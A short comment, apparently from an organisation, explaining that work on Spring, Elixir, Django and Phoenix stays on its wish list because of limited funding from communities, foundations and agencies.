As for the comments on Spring/Elixir/Django/Phoenix, they're on our wish list every year but we're always limited by funding. It's about what the communities, foundations, and agencies can and will support. We are always working toward getting larger grants where we can work fully independently on whatever we want, but so far that hasn't materialized.
We'll keep trying!